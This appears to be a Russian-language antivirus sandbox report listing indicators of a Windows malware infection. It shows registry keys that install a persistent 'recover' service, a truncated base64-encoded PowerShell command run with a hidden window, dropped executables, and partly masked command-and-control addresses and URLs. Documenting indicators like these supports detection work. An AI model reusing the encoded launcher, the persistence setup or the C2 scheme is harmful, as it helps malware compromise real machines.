Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\recover] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\recover] 'ImagePath' = '"%WINDIR%\SysWOW64\polstore\recover.exe"'
- 'recover' "%WINDIR%\SysWOW64\polstore\recover.exe"
- 'recover' %WINDIR%\SysWOW64\polstore\recover.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAGMAMwB1AHoAagBoAD0AKAAnAFkAcAAnACsAJwBqACcAKwAoACcAMQBpACcAKwAnAHYAcwAnACkAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgBWADoAdABlAE0AcABcAHcATwByAGQAXAAyADAAMQA5AF...
- %TEMP%\word\2019\wdq4vyp.exe
- %WINDIR%\syswow64\polstore\recover.exe
- %TEMP%\word\2019\wdq4vyp.exe в %WINDIR%\syswow64\polstore\recover.exe
- '21#.#0.40.16':80
- '91.##1.54.71':8080
- http://le###2wow.com/wp-content/OC/
- http://91.###.54.71:8080/N56kXxgSwCyK7UzF/sHeFPZH35SV9PEzkcvr/WzxHqZ5uqv6DZ6j/Wqd6/5Xn9ka0qgc/ via 91.##1.54.71
- DNS ASK le###2wow.com
- '%TEMP%\word\2019\wdq4vyp.exe'
- '%WINDIR%\syswow64\polstore\recover.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAGMAMwB1AHoAagBoAD0AKAAnAFkAcAAnACsAJwBqACcAKwAoACcAMQBpACcAKwAnAHYAcwAnACkAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgBWADoAdABlAE0AcABcAHcATwByAGQAXAAyADAAMQA5AF...' (со скрытым окном)